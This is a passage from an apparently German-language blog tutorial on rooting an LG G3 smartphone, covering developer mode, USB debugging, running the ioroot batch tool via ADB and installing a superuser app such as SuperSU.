Unter Einstellungen -> Allgemein -> Telefoninfo -> Software-Information müsst 5 Mal auf die Build-Nummer klicken um den Entwicklermodus zu aktivieren
Schritt 2: USB-Debugging aktivieren
Unter Einstellungen -> Allgemein -> Entwickleroptionen -> USB-Debugging aktivieren
Schritt 3: Treiber und Software installieren
Die ADB-Treiber (siehe oben) installieren, ioroot entpacken und das LG G3 per USB Anschließen
Schritt 4: Rooten
ioroot.bat ausführen und den Anweisungen folgen
Als erstes müsst ihr nun auf dem Handy den Zugriff vom PC gestatten (RSA-Fingerabdruck).
Dann kopiert das Tool ein paar Dateien und startet ins Recovery, dort muss man dann noch ADB-Sideload aktivieren und fertig.
Schritt 5: SuperUser App installieren
Nachdem das Handy nun neugestartet hat, ist es gerootet. Ihr könnt jetzt noch ein Superuser App eurer Wahl installieren. Zum Beispiel SuperSu.
Nach einem Firmwareupdate sind die Root-Rechte vermutlich wieder weg und die Schritte müssen wiederholt werden. Das sollte aber kein Problem sein.
Fertig!
[appbox googleplay eu.chainfire.supersu]
[appbox googleplay com.koushikdutta.superuser]